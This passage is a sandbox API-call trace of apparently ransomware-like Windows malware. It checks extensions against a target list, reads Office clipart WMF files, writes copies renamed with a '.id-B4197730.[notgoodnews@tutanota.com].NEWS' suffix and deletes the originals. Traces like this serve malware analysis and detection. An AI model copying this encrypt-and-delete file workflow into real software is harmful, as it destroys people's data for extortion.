Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0088.040] lstrlenW (lpString=".jpg") returned 4 [0088.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0088.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0088.041] lstrlenW (lpString=".doc") returned 4 [0088.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0088.041] lstrlenW (lpString=".docx") returned 5 [0088.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0088.041] lstrlenW (lpString=".pdf") returned 4 [0088.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0088.041] lstrlenW (lpString=".xls") returned 4 [0088.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0088.041] lstrlenW (lpString=".xlsx") returned 5 [0088.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0088.041] lstrlenW (lpString=".ppt") returned 4 [0088.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0088.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0088.041] lstrlenW (lpString=".zip") returned 4 [0088.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0088.041] lstrlenW (lpString=".rar") returned 4 [0088.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0088.041] lstrlenW (lpString=".bz2") returned 4 [0088.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0088.041] lstrlenW (lpString=".7z") returned 3 [0088.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0088.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0088.041] lstrlenW (lpString=".dbf") returned 4 [0088.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0088.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0088.041] lstrlenW (lpString=".1cd") returned 4 [0088.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0088.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0088.041] lstrlenW (lpString=".jpg") returned 4 [0088.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0088.042] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0088.042] lstrlenW (lpString="HH00685_.WMF") returned 12 [0088.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0088.042] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=4032) returned 1 [0088.042] CloseHandle (hObject=0x378) returned 1 [0088.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x220 [0088.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0088.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0088.043] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.043] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0088.043] GetLastError () returned 0x0 [0088.043] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xfc0, lpOverlapped=0x0) returned 1 [0088.387] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xfd0, lpOverlapped=0x0) returned 1 [0088.388] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.388] WriteFile (in: hFile=0x38c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0088.389] SetEndOfFile (hFile=0x38c) returned 1 [0089.444] CloseHandle (hObject=0x38c) returned 1 [0089.521] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.521] SetEndOfFile (hFile=0x378) returned 1 [0089.521] CloseHandle (hObject=0x378) returned 1 [0089.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.522] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0089.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0089.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0089.522] lstrlenW (lpString=".doc") returned 4 [0089.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.522] lstrlenW (lpString=".docx") returned 5 [0089.522] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.522] lstrlenW (lpString=".pdf") returned 4 [0089.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.522] lstrlenW (lpString=".xls") returned 4 [0089.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.522] lstrlenW (lpString=".xlsx") returned 5 [0089.522] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.522] lstrlenW (lpString=".ppt") returned 4 [0089.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0089.522] lstrlenW (lpString=".zip") returned 4 [0089.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.522] lstrlenW (lpString=".rar") returned 4 [0089.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.522] lstrlenW (lpString=".bz2") returned 4 [0089.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.522] lstrlenW (lpString=".7z") returned 3 [0089.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0089.523] lstrlenW (lpString=".dbf") returned 4 [0089.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0089.523] lstrlenW (lpString=".1cd") returned 4 [0089.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0089.523] lstrlenW (lpString=".jpg") returned 4 [0089.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0089.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0089.523] lstrlenW (lpString=".doc") returned 4 [0089.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.523] lstrlenW (lpString=".docx") returned 5 [0089.523] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.523] lstrlenW (lpString=".pdf") returned 4 [0089.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.523] lstrlenW (lpString=".xls") returned 4 [0089.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.523] lstrlenW (lpString=".xlsx") returned 5 [0089.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.523] lstrlenW (lpString=".ppt") returned 4 [0089.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0089.523] lstrlenW (lpString=".zip") returned 4 [0089.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.523] lstrlenW (lpString=".rar") returned 4 [0089.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.523] lstrlenW (lpString=".bz2") returned 4 [0089.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.523] lstrlenW (lpString=".7z") returned 3 [0089.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0089.523] lstrlenW (lpString=".dbf") returned 4 [0089.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0089.523] lstrlenW (lpString=".1cd") returned 4 [0089.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0089.524] lstrlenW (lpString=".jpg") returned 4 [0089.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.524] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.524] lstrlenW (lpString="HH02312_.WMF") returned 12 [0089.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.524] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=4970) returned 1 [0089.524] CloseHandle (hObject=0x378) returned 1 [0089.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x220 [0089.524] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.524] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.524] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0089.525] GetLastError () returned 0x0 [0089.525] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x136a, lpOverlapped=0x0) returned 1 [0089.526] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1370, lpOverlapped=0x0) returned 1 [0089.527] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.527] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.527] SetEndOfFile (hFile=0x330) returned 1 [0089.527] CloseHandle (hObject=0x330) returned 1 [0089.528] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.528] SetEndOfFile (hFile=0x378) returned 1 [0089.528] CloseHandle (hObject=0x378) returned 1 [0089.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.529] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0089.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0089.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0089.529] lstrlenW (lpString=".doc") returned 4 [0089.529] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.529] lstrlenW (lpString=".docx") returned 5 [0089.529] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.529] lstrlenW (lpString=".pdf") returned 4 [0089.529] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.529] lstrlenW (lpString=".xls") returned 4 [0089.529] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.529] lstrlenW (lpString=".xlsx") returned 5 [0089.529] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.529] lstrlenW (lpString=".ppt") returned 4 [0089.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0089.529] lstrlenW (lpString=".zip") returned 4 [0089.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.529] lstrlenW (lpString=".rar") returned 4 [0089.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.529] lstrlenW (lpString=".bz2") returned 4 [0089.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.529] lstrlenW (lpString=".7z") returned 3 [0089.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0089.530] lstrlenW (lpString=".dbf") returned 4 [0089.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0089.530] lstrlenW (lpString=".1cd") returned 4 [0089.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0089.530] lstrlenW (lpString=".jpg") returned 4 [0089.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0089.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0089.530] lstrlenW (lpString=".doc") returned 4 [0089.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.530] lstrlenW (lpString=".docx") returned 5 [0089.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.530] lstrlenW (lpString=".pdf") returned 4 [0089.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.530] lstrlenW (lpString=".xls") returned 4 [0089.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.530] lstrlenW (lpString=".xlsx") returned 5 [0089.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.530] lstrlenW (lpString=".ppt") returned 4 [0089.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0089.530] lstrlenW (lpString=".zip") returned 4 [0089.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.530] lstrlenW (lpString=".rar") returned 4 [0089.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.530] lstrlenW (lpString=".bz2") returned 4 [0089.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.530] lstrlenW (lpString=".7z") returned 3 [0089.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0089.530] lstrlenW (lpString=".dbf") returned 4 [0089.530] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0089.530] lstrlenW (lpString=".1cd") returned 4 [0089.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 68 [0089.531] lstrlenW (lpString=".jpg") returned 4 [0089.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.531] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0089.531] lstrlenW (lpString="HH02313_.WMF") returned 12 [0089.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.531] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3082) returned 1 [0089.531] CloseHandle (hObject=0x378) returned 1 [0089.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x220 [0089.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0089.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0089.531] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.532] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0089.532] GetLastError () returned 0x0 [0089.532] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xc0a, lpOverlapped=0x0) returned 1 [0089.533] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xc10, lpOverlapped=0x0) returned 1 [0089.534] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.534] WriteFile (in: hFile=0x330, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0089.534] SetEndOfFile (hFile=0x330) returned 1 [0089.534] CloseHandle (hObject=0x330) returned 1 [0089.535] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.535] SetEndOfFile (hFile=0x378) returned 1 [0089.535] CloseHandle (hObject=0x378) returned 1 [0089.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0089.536] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0089.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0089.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0089.536] lstrlenW (lpString=".doc") returned 4 [0089.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0089.536] lstrlenW (lpString=".docx") returned 5 [0089.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0089.536] lstrlenW (lpString=".pdf") returned 4 [0089.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0089.536] lstrlenW (lpString=".xls") returned 4 [0089.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0089.536] lstrlenW (lpString=".xlsx") returned 5 [0089.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0089.536] lstrlenW (lpString=".ppt") returned 4 [0089.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0089.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0089.536] lstrlenW (lpString=".zip") returned 4 [0089.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0089.536] lstrlenW (lpString=".rar") returned 4 [0089.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0089.536] lstrlenW (lpString=".bz2") returned 4 [0089.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0089.536] lstrlenW (lpString=".7z") returned 3 [0089.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0089.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0089.537] lstrlenW (lpString=".dbf") returned 4 [0089.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0089.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0089.537] lstrlenW (lpString=".1cd") returned 4 [0089.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0089.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0089.537] lstrlenW (lpString=".jpg") returned 4 [0089.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0089.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68 [0089.537] lstrlenW (lpString="C:\\Program Files\\Microsoft 